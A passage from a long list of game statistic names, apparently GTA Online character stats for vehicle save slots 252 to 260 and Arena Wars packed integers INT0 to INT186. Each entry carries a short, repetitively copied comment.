MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_252 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_252 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_252 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_252 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_252 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_252 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_252 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_253 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_253 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_253 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_253 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_253 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_253 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_253 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_254 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_254 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_254 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_254 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_254 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_254 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_254 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_255 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_255 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_255 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_255 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_255 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_255 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_255 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_256 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_256 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_256 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_256 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_256 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_256 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_256 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_257 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_257 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_257 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_257 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_257 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_257 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_257 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_258 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_258 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_258 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_258 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_258 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_258 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_258 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_259 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_259 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_259 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_259 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_259 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_259 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_259 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_260 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_260 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_260 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_260 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_260 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_260 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_260 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + +(packed)ARENAWARSPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT108 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT109 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT110 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT111 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT112 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT113 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT114 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT115 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT116 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT117 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT118 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT119 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT120 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT121 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT122 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT123 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT124 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT125 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT126 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT127 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT128 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT129 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT130 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT131 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT132 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT133 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT134 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT135 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT136 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT137 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT138 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT139 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT140 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT141 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT142 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT143 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT144 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT145 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT146 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT147 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT148 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT149 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT150 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT151 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT152 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT153 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT154 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT155 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT156 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT157 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT158 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT159 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT160 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT161 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT162 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT163 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT164 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT165 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT166 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT167 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT168 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT169 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT170 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT171 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT172 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT173 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT174 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT175 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT176 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT177 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT178 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT179 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT180 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT181 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT182 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT183 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT184 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT185 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)ARENAWARSPSTAT_INT186 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. 